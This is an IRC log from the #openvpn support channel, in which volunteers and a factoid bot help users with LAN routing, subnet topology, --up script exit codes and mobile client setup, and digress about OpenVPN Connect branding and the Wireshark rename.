16:24 < janusz> Hi guys I have a problem. I configured OpenVPN (for the first time). Everything works good, I can connect to the openvpn server from WAN but i cannot access any lan resources that station with openvpn installed is. I forwarded the port. Here is my conf http://pastebin.com/AqBG8sXQ . Any suggestions?
16:27 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 272 seconds]
16:28 <+pekster> juYou're not pushing a route for the server-side LAN. You should read the info and flowchart here:
16:29 <+pekster> janusz: That was for you ^
16:29 <+pekster> !serverlan
16:29 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
16:29 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
16:30 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
16:45 -!- Denial [Denial@90.216.209.93] has quit []
16:47 < janusz> !ipforward
16:47 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:47 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:49 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
16:51 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
16:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
16:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:59 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
17:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:16 -!- jY [~jy@photoblog.com] has joined #openvpn
17:18 < jY> we recently tried to put a windows client on our vpn and we push out static subnets via ccd like "ifconfig-push 10.113.10.9 10.113.10.10" that is fine for mac/linux but windows it breaks.. We have 3 /24's clients can get assigned.. from my understanding is if i use subnet topology i can't have the 3 different subnets for clients?
17:22 < janusz> ok pekster: I made a progress. Now i can access the OpenVPN server with its lan ip through wan. I can access any other machine, including router. Now i should add a route in router configuration?
17:23 < janusz> ups i wanted to write, i cant access any other machine*
17:24 <+pekster> janusz: Sounds like you either have a return-routing issue (see !route_outside_openvpn) or a firewall problem
17:24 < janusz> !route_outside_openvpn
17:24 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
17:25 <+pekster> jY: OpenVPN only ever uses a "single" subnet. You're free to give arbitrary IPs to particular clients though, and you can treat the OpenVPN range as a supernet with more specific firewall rules that apply to just a subset of that range
17:26 < jY> pekster: so i should be ok on adding subnet topology?
17:26 <+pekster> Yes, in fact this is recommended. The _only_ reason not to use topology is if you must support Windows clients before version 2.1.0, which is over 6 years old now
17:27 <+pekster> subnet topology*
17:27 < jY> ok
17:28 < janusz> pekster, so In my router option i have a advanced routing tab. Destiation IP will be the IP to the vpn subnet, and the gateway will be just ip of router (10.0.0.1) right?
17:29 <+pekster> The VPN host is your gteway
17:30 <+pekster> If the VPN host _is_ the LAN's default gateway you don't need to add the route as openvpn does it automatically via the --route directive
17:32 < janusz> nope it is not
17:32 < janusz> lans default gateway is a cisco router
17:32 <+pekster> Then your gateway should be your VPN server
17:32 <+pekster> 10.0.0.1 sounds to me like a LAN gateway, but it might not be in your setup
17:33 < janusz> yes 10.0.0.1 is LAN gateway (Cisco router) and 10.0.0.106 is a PC with OpenVPN server installed (it is a file server)
17:34 <+pekster> The gateway is how the router gets to the VPN network. Obviously it's not routing it there itself since Cisco does not support OpenVPN
17:39 < janusz> i dont understand : P
17:40 <+pekster> The gateway is "where this host sends packets that match the network defined." Thus your LAN router needs to use a gateway that is the local IP of your VPN server when adding a route for the VPN network
17:49 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:49 -!- nitram_ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Remote host closed the connection]
17:55 < janusz> i did set the routing but it still doesnt work. i turned off firewall on router but i still cant ping any host except vpn server
17:57 <+pekster> Same problem as before: it's either failure to handle the return routing, or a firewall problem
17:57 <+pekster> Traceroutes from both ends might shed light on the issue
18:01 -!- occupant [~null@204.14.158.226] has quit [Quit: Leaving]
18:08 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
18:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:21 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:25 < janusz> !ROUTE
18:25 <@vpnHelper> "ROUTE" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
18:25 <@vpnHelper> behind the server or client
18:27 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
18:28 < janusz> !serverlan
18:28 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
18:28 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
18:28 < janusz> !ipforward
18:28 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
18:29 < janusz> !linipforward
18:29 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
18:29 < janusz> !winipforward
18:29 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
18:38 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
18:38 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
18:38 -!- szr- is now known as szr
18:51 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:53 -!- havoc__ [~havoc@neptune.chaillet.net] has joined #openvpn
18:53 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
18:53 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
18:53 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
18:54 -!- riddle [riddle@us.yunix.net] has joined #openvpn
18:57 -!- mete- [~mete@84.200.73.159] has joined #openvpn
18:57 -!- esde_ [~esde@162.218.209.203] has joined #openvpn
18:58 -!- Netsplit *.net <-> *.split quits: defswork, speed_racer84
18:58 -!- Netsplit *.net <-> *.split quits: esde, havoc, mete
18:58 -!- esde_ is now known as esde
19:04 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:04 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
19:06 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
19:07 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
19:09 -!- syn4pse [~syn4pse@p5DDC0BA4.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
19:15 -!- Xgates [~Xgates@unaffiliated/xgates] has joined #openvpn
19:15 < Xgates> hi guys
19:17 < Xgates> I'm running 2.3.2 in Linux from the command line as; sudo -b openvpn --config /etc/openvpn/vpn.conf, anyone know how I can use '--up & --down' in regards to notify-send?
19:18 < Xgates> I can run notify-send like this; sudo -u $USER /usr/bin/notify-send down but since I'm launching openvpn as 'sudo -b' not sure how I can get around this...
19:18 <+pekster> What is "notify-send" ?
19:18 < Xgates> for notifications
19:18 < Xgates> OSD :)
19:18 < Xgates> notify-send hello :)
19:18 <+pekster> My point is that it has nothing to do with openvpn
19:19 <+pekster> You can use "any executable program" as valid arguments to any openvpn script hook you like
19:19 < Xgates> No I'm asking how to use it with OpenVPN is the problem since openvpn needs to be run as root
19:19 < Xgates> you don't typically run notify-send as root, you run it as a user...
19:19 <+pekster> So have your scripts launch a processs as another user?
19:20 <+pekster> OpenVPN can optionally downgrade user permission (see --user and --group) but that won't impact --up since it is run before uid/gid change
19:20 < Xgates> I'm doing it like this to 2 scripts;
19:20 < Xgates> sudo -b openvpn --config /etc/openvpn/vpn.conf --up /home/foo/.config/openbox/vpn_up --down /home/foo/.config/openbox/vpn_dn
19:21 < Xgates> and in the vpn_up & vpn_dn I have it like this; sudo -u $USER /usr/bin/notify-send down
19:21 <+pekster> No clue exactly why you're using -b with sudo; maybe you wanted to use --daemon instead?
19:22 < Xgates> so as I was mentioning lauching openvpn as 'sudo -b' then the scripts have in them 'sudo -u' it seems to conflict
19:22 <+pekster> No, there's no conflict
19:22 < Xgates> to be honest I forget about why I was using -b, thought it was better than just running it only sudo
19:22 <+pekster> openvpn runs as whatever user your launch it as (root in your case.) It processes the command line arguments, which in your case also references a config file. openvpn then starts up on those options. That's it
19:23 <+pekster> Scripts can do "anything they're told", and that includes calling sudo, ls, cat, beep, or any other program you can think to call with your script. Yes, notify-send included
19:23 < Xgates> let me run it as sudo and see, to be honest I thought I tried this already and openvpn says it fails to run the scripts
19:23 < Xgates> thanks pekster let me try brb
19:23 -!- Xgates [~Xgates@unaffiliated/xgates] has quit [Quit: Xgates]
19:27 -!- debbie10t_afk is now known as debbie10t
19:27 <@debbie10t> hello pekster . . are you busy ?
19:30 < janusz> pekster, :x I cant make it working. Firewall is off. I set two static routes on My laptop that i am connecting to the server: 10.0.0.0(lan subnet) mask 255.255.255.0 gw internal_ip_vpn and 10.8.0.0(vpn subnet) mask 255.255.255.0 gw internal_ip_vpn  and it still doesnt ping others in my subnet...
19:30 -!- Xgates [~Xgates@unaffiliated/xgates] has joined #openvpn
19:30 < Xgates> ok back, here's what I'm doing; http://pastebin.com/FKU0YnBg and it fails...
19:30 < Xgates> hmm
19:30 < janusz> tried also configuring on my lan router the routes, didnt work...
19:35 -!- janusz [~kris@akv86.neoplus.adsl.tpnet.pl] has quit [Quit: Leaving]
19:35 <@debbie10t> Xgates did you set --script-secutity in your vpn.conf
19:36 < Xgates> yes in the config I have it not with the dashes, but as; script-security 2
19:38 <@debbie10t> try 3
19:38 <+pekster> No, that's not the sisue
19:38 < Xgates> hmm I thought there was only 2?
19:38 <+pekster> Xgates: YThe script is running and exiting with code 1
19:39 <+pekster> Non-zero exit codes are fatal for --up. Read the manpage in the section called "SCRIPTING AND ENVIRONMENTAL VARIABLES"
19:39 <+pekster> The script is running fine, but "vpn_up" is return exit code 1, which tells openvpn that there was a fatal error and instructs it to exit; openvpn is doing exactly that
19:40 < Xgates> ok let me dig thanks
19:49 < Xgates> so then in this cmd; $USER the $ is not a permitted character?
19:49 < Xgates> for now all I can see it try is using;  --no-name-remapping
19:53 < Xgates> actually it mentions  legal characters hmm
19:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:55 <+pekster> If that's a shell script, doing `sudo -u $USER` is completely pointless
19:55 <+pekster> $USER is the current user, so you want to elevate to root, from root, and run a command? That's... pointless
19:56 <+pekster> Again, _your_ script is the one return the 1 error code. Run it and find out why
19:56 <+pekster> As root, do /home/foo/.config/openbox/vpn_up
19:56 < Xgates> ok thanks pekster
19:57 <+pekster> OpenVPN has zero care in the world what that script does and only evaluates the return code. It's currently 1, which is failure. OpenVPN thusly fatally exits.
19:58 < Xgates> actually nothing happened when I ran; /home/foo/.config/openbox/vpn_up the terminal just returned to the prompt, no messages...
19:58 <+pekster> So check the return code?
19:58 < Xgates> sorry return code where?
19:58 <+pekster> Of your script
19:59 <+pekster> $? if you're doing this at a shell
19:59 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
19:59 <+pekster> Maybe spend some time learning shell basics, because your lack of understanding is hurting you an awful lot here
20:00 < Xgates> I try to learn all the time stuff for the things I do...
20:08 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Quit: elfixit]
20:11 < Xgates> root@box:/home/foo# /home/foo/.config/openbox/vpn_up ; echo $?
20:11 < Xgates> 0
20:12 <+pekster> What verbosity are you using? How about log output at veb 4?
20:12 < Xgates> hmm I get a 0 when I run it and OpenVPN gives it a 1
20:13 < Xgates> lt me check
20:13 < Xgates> just verb 1 for now
20:13 < Xgates> so put it on 4 and run it again?
20:16 < Xgates> ahh since you mentioned before about $USER let me remove all of that and just try to have it only run the command without it
20:16 < Xgates> thanks again pekster and I'll set it on veb 4 too and test as well
20:16 -!- Xgates [~Xgates@unaffiliated/xgates] has quit [Quit: Xgates]
20:28 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
20:31 -!- schnitzl [~schnitzl@dslb-178-007-161-149.pools.arcor-ip.net] has quit [Ping timeout: 240 seconds]
20:32 -!- schnitzl [~schnitzl@dslb-178-010-084-203.pools.arcor-ip.net] has joined #openvpn
20:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:42 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
20:57 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
21:01 -!- Xgates [~Xgates@unaffiliated/xgates] has joined #openvpn
21:01 < Xgates> well I was certainly hoping there were some examples of people using notify-send with OpenVPN online I could read about, if they're there, I haven't found any...
21:02 < Xgates> just can't seem to figure how to launch it from sudo
21:02 < Xgates> hmm
21:04 <@debbie10t> bangin yer head against a brick wall ?
21:05 < Xgates> LOL yeah been at it for a few days even my fellow slackers in #slackware have been thinking on it too
21:05 <+pekster> What is this? Some UI thing? If so, chances are good it's not inhereting the right environment due to openvpn's use of execve()
21:06 < Xgates> sorry guys let me check something else, I need to go then brb
21:06 -!- Xgates [~Xgates@unaffiliated/xgates] has quit [Quit: Xgates]
21:07 <@debbie10t> duh . . .
21:09 <@debbie10t> at least i am picking up some tips
21:12 <@debbie10t> sudo timesout .. .
21:13 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Quit: ZNC - http://znc.in]
21:14 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
21:14 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Remote host closed the connection]
21:15 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
21:17 -!- debbie10t is now known as debbie10t_afk
21:24 -!- debbie10t_afk [~ma1com10t@host-92-20-12-215.as13285.net] has quit [Ping timeout: 260 seconds]
21:25 -!- xrosnight [~quassel@58.250.10.91] has joined #openvpn
21:26 -!- DrFoo [~DrFoo@c-76-23-208-102.hsd1.ct.comcast.net] has joined #openvpn
21:27 < DrFoo> how do I get the client crt and key files installed in to the ovpn iphone app? The ovpn file I'm trying to import is looking for them
21:36 <+pekster> DrFoo: I think most mobile users (on android anyway) use the inline file support: see !inline
21:36 <+pekster> Note also that "OpenVPN Connect" is not actually "OpenVPN" and uses a different codebase. The "Connect" product shares no code with OpenVPN today
21:38 < DrFoo> pekster: Will this act like an ovpn client on my phone, or is this more of a secure web vpn...
21:39 < DrFoo> I'm looking to access my lan via iphone
21:39 < DrFoo> !inline
21:39 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
21:40 <+pekster> The "Connect" non-free (as in not copyleft, not GPL) products are an offering from the corporate "OpenVPN Technologies Inc" and it's a completely different codebase. It aims to be on-wire and protocol compatible, but it's not quite
21:41 <+pekster> The OpenVPN codebase is GPL and fully open-source; thanks to both the separate codebase and apple's NDA that goes along with their "super secret APIs" Connect can't be, at least not whatever the API glue layer is
21:41 <+pekster> Completely different software prodoucts (with completley different bugs!)
21:51 <@krzee> pekster, im sure most of the android users dont even realize they are using inline even though they are
21:52 <+pekster> via the config importer thing?
21:52 <@krzee> since 'openvpn for android' has such an awesome importer it is rather seamless to the user
21:52 <@krzee> ya
21:52 <+pekster> Right. I neither own and iphone nor have access to the codebase, and won't pretend like I care enough to support non-open software
21:52 <@krzee> same here, although i did write IOSinline
21:53 <@krzee> but that was because my mom uses iphone, now im back to not caring
21:54 <+pekster> It's just such a mess. Bugs for the corporate product die on the "community.openvpn.net" bug tracker. Granted GPL bugreports sometimes rot away there too, but at least that's where they belonged in the first place
21:55 <+pekster> It's Redhat/Fedora all over :\
21:55 <@krzee> ugh i guess that is probably another symptom of the same problem that causes everyone to come here looking for help with AS
21:55 <+pekster> Right
21:55 <+pekster> "Oh, we have a copyright, let's just name all the products nearly identically and hope users accidently decide to pay us" is a lousy business model, IMO
21:56 <+pekster> But w/e. More factoids.
21:56 <@krzee> hahah
21:56 <+pekster> btw, I created !connect a while back if you find the use to describe the iphone/PC non-free stuff quickly
21:56 <@krzee> !connect
21:56 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
21:57 <@krzee> ahh good stuff
21:57 < EugeneKay> OpenerVPN
21:57 <@krzee> !android
21:57 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
21:58 <+pekster> And yea, the website is confusing, the CMS system on the openvpn.net site is crippled beyond an real repair ("Joomla" or w/e it's called) and can't do simple things like not show AS as the first/top "download link" when you're viewing the "community" landing page. And that's just my top list of complaints
21:59 <@krzee> to me the solution is seperating openvpn.net from openvpn.org
21:59 <+pekster> It really needs to be split off completely as soon as the "community" button is pushed so there's no confusing overlap, perhaps with a "Looking for Access Server? Go <link>here</link>
21:59 <@krzee> corp would use .net and gpl would use .org
21:59 <@krzee> ^ exactly!
21:59 <+pekster> It's more complicated than that due to the copyright and new naming confusion
22:00 <+pekster> Corp did it to themselves really with such an idiotic naming scheme like "OpenVPN Connect"
22:00 <@krzee> ?dont they own the copyright?
22:00 <+pekster> Right. Again, think Redhat -> Fedora
22:00 <@krzee> gah i hate rules
22:00 < EugeneKay> iptables -F ;-)
22:00 <+pekster> Now the only thing "Redhat" is their enterprise product. CentOS owns the "we took the GPL codebase and release it for free, sans official support" and Fedora is RHEL's "community" arm
22:01 < EugeneKay> Fedora is the development arm
22:01 < EugeneKay> "we try stupid crap here, and the shit that sticks becomes part of EL"
22:01 <+pekster> Ethereal had the same mess when the author's former sponsor decided to "hold onto the copyright" for some dumb reason and all the devs just went to wireshark and carried on. New name, new logo
22:02 <+pekster> https://www.wireshark.org/lists/wireshark-dev/201112/msg00092.html
22:02 <@vpnHelper> Title: Wireshark · Wireshark-dev: [Wireshark-dev] Copyright Permission request for Wireshark screenshots in COMPUTING NETWORKING by Pe (at www.wireshark.org)
22:02 <@krzee> so THATS what happened
22:02 <@krzee> (re wireshark)
22:02 <@krzee> i had never looked into it but certainly noticed when it changed
22:02 <+pekster> Right. Aren't copyright disputes fun?
22:02 <@krzee> found it odd, but then grabbed wireshark and shrugged it off
22:03 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:03 <+pekster> The issue here is that, technically, with a US company owning the copyright, they could say "No, that's our copyright and you must do what we say to use it." Which of course the FOSS reply is "nu-uh, it's GPL" and piss away time changing the name/logo to avoid future lawsuits. Wanna become a lawyer? :)
22:04 <@krzee> im the tech, my partner is the lawyer :D
22:04 <+pekster> See also: https://www.wireshark.org/faq.html#q1.2
22:04 <@vpnHelper> Title: Wireshark · Frequently Asked Questions (at www.wireshark.org)
22:06 <@krzee> meanwhile the guy who owns "ethereal" has nothing
22:06 <@krzee> could have just not been a dick and gave them their name and had the same nothing without inconveniencing people
22:06 < EugeneKay> #15 on that FAQ makes me lol
22:07 < EugeneKay> Or 1.5, whatever
22:07 <+pekster> That was even more stupid than the Redhat/Fedora thing, yea. At least those are 2 separate (and related) projects
22:07 <+pekster> EugeneKay: https://subversion.apache.org/pronunciation/index.html
22:07 <@vpnHelper> Title: How To Pronounce "Subversion" (at subversion.apache.org)
22:08 < EugeneKay> That one doesn't mention Arkansas.
22:08 <@krzee> lol
22:08 < EugeneKay> (where my driver's license is from)
22:08 <@krzee> coulda mentioned boston too
22:08 <@krzee> wyyyyyreshaaaak
22:11 <+pekster> krzee: It's not all=bad: there's some nifty digital art at http://ethereal.org/digitalart/index.html
22:11 <@vpnHelper> Title: Ethereal.Org - Digital Art (at ethereal.org)
22:30 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
22:40 -!- xrosnight [~quassel@58.250.10.91] has quit [Changing host]
22:40 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
22:54 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:59 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
23:00 -!- xrosnight [~quassel@58.250.10.91] has joined #openvpn
23:00 -!- xrosnight [~quassel@58.250.10.91] has quit [Changing host]
23:00 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
23:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:08 -!- Nuitari [~nuitari@modemcable062.46-70-69.static.videotron.ca] has quit [Ping timeout: 264 seconds]
23:11 -!- havoc__ is now known as havoc
23:13 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
23:20 -!- Nuitari [~nuitari@modemcable062.46-70-69.static.videotron.ca] has joined #openvpn
23:38 -!- jeev [~j@unaffiliated/jeev] has left #openvpn []
23:42 < jY> so i just tried to enable "topology subnet" with static ips we give via ccd and on mac/linux i get connected but can't ping a local ip anymore.. if i remove the topology those work again .. but windows fails
23:47 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 246 seconds]
23:55 <+pekster> 1. topology subnet works fine across all platforms >=2.1.0. Maybe you forgot to use IP+netmask for your push? 2. Windows works fine with net30 topology too
23:55 <+pekster> It's just a complete waste of IPs to work around a problem openvpn hasn't had for nearly 7 years now
23:57 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Wed Oct 30 2013
00:28 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
00:33 <+pekster> It would be far more useful to go through the usual troubleshooting steps instead of proclaiming things don't work. In topology subnet, can you ping your VPN peer? Is the addressing correct on both sides of the tunnel? If you're exposing LANs on either/both side(s) are the routes set properly? Can you reach the other side of the routing barrier on the var VPN peer?
00:33 <+pekster> etc
00:46 -!- xpl0iter [~obscurant@1.23.215.87] has joined #openvpn
00:49 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
00:51 -!- Fetch [fetch@gimel.cepheid.org] has quit [Read error: Connection reset by peer]
00:59 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:19 -!- vamadir [~vamadir@222.33.9.162] has joined #openvpn
01:22 < vamadir> how to push all google trafic over openvpn. Other trafic over def connection? I think its about push rout configuration, but didnt understand. EX: *.google.com/* over openvpn. www.yahoo.com over def coonection
01:23 <+pekster> Use a proxy for that. Don't solve application problems at the IP layer; it simply doesn't work
01:24 < vamadir> <+pekster> thats not answer
01:25 <+pekster> You can't do it with "routing" no
01:25 <+pekster> DNS is not related to IPs in a 1:1 fashion, especially with a giant CDN like google. It is impossible to do what you want, especially with a CDN.
01:27 < vamadir> ok,but if just put google ip`s?
01:28 <+pekster> Nope, becuase they change every time the low-TTL RR expires. https://en.wikipedia.org/wiki/Content_delivery_network
01:28 <@vpnHelper> Title: Content delivery network - Wikipedia, the free encyclopedia (at en.wikipedia.org)
01:28 <+pekster> CDN's can _not_ do that. Stop asking how to pound nails in with a squirt gun
01:29 < vamadir> ok, and how i can make proxy?under linux
01:30 <+pekster> Use any number of Linux proxy servers, and if you want to access it across your VPN link, run it either on the VPN endpoint, or a LAN that you expose across the VPN and configure your browser to use it
01:30 <+pekster> tinyproxy works well if you just want a web proxy (for http/https traffic,) otherwise look at a more full SOCKS5 solution that can do TCP/UDP sockets
01:45 -!- raidz is now known as raidz_away
01:50 -!- raidz_away is now known as raidz
01:55 -!- xpl0iter [~obscurant@1.23.215.87] has quit [Read error: Connection reset by peer]
01:55 -!- mattock_afk is now known as mattock
01:56 -!- xpl0iter [~obscurant@1.23.215.87] has joined #openvpn
02:15 -!- xrosnight_ [~quassel@113.88.82.173] has joined #openvpn
02:15 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 268 seconds]
02:32 -!- vvinothkumar [~vinothkum@122.172.206.202] has joined #openvpn
02:42 -!- raidz is now known as raidz_away
02:47 -!- xrosnight_ [~quassel@113.88.82.173] has quit [Ping timeout: 246 seconds]
02:50 -!- xrosnight [~quassel@183.13.121.80] has joined #openvpn
02:53 -!- xpl0iter [~obscurant@1.23.215.87] has quit [Ping timeout: 240 seconds]
03:10 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
03:10 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 245 seconds]
03:20 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
03:22 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:39 -!- xpl0iter [~obscurant@122.167.71.52] has joined #openvpn
03:40 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
03:41 -!- xpl0iter [~obscurant@122.167.71.52] has quit [Client Quit]
04:41 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
04:44 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
05:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:10 -!- xrosnight [~quassel@183.13.121.80] has quit [Ping timeout: 252 seconds]
05:11 -!- xrosnight [~quassel@14.155.220.195] has joined #openvpn
05:23 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:37 -!- xrosnight [~quassel@14.155.220.195] has quit [Read error: Connection reset by peer]
05:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Remote host closed the connection]
05:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:08 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
06:14 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
06:24 -!- bxz [~bxz@unaffiliated/bxz] has joined #openvpn
06:24 < bxz> !welcome
06:24 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
06:24 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:25 < bxz> !route
06:25 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
06:25 <@vpnHelper> the server or client
06:29 -!- Denial [Denial@90.216.209.93] has joined #openvpn
06:35 -!- maskedlua_ is now known as maskedlua
06:35 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
06:36 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
06:42 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
